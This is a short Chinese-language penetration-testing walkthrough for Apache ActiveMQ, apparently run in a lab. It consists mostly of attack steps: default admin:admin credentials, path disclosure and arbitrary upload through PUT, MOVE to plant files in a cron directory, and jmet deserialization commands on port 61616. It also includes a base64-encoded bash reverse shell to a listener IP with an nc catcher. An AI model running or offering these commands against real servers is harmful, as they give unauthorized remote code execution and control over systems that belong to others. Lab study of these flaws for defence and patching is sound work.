ActiveMQ应用介绍
1 | Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。ActiveMQ 是一个完全支持JMS1.1 和J2EE 1.4规范的 JMSProvider实现,尽管 JMS 规范出台已经是很久的事情了,但是JMS在当今的J2EE应用中间仍然扮演着特殊的地位。 |
ActiveMQ漏洞利用
默认密码
1 | Console存在默认端口和默认密码/未授权访问(默认密码为admin:admin) |
Web页面http://192.168.50.219:8161/
后台管理地址:
http://192.168.50.219:8161/admin/
ActiveMQ物理路径泄漏漏洞
1 | ActiveMQ默认开启PUT请求,当开启PUT时,构造好Payload(即不存在的目录),Response会返回相应的物理路径信息 |
ActiveMQ PUT任意文件上传漏洞
1 | ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。 |
PUT开启上传fileserver目录
MOVE协议开启,可上传ssh文件后移动至自启动cron目录
反序列化漏洞
新建目录
使用jmet进行创建目录
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.10.5 61616 |
创建队列中查看并点击执行
1 | http://192.168.50.219:8161/admin/browse.jsp?JMSDestination=event |
查看是否建立成功
1 | 进入容器查看 |
反弹shell,bash命令需编码
使用jmet反弹shell攻击
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSAgPiYvZGV2L3RjcC8xOTIuMTY4LjUwLjI0Mi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.50.217 61616 |
服务器接收反弹端口
1 | nc -lvp 7777 |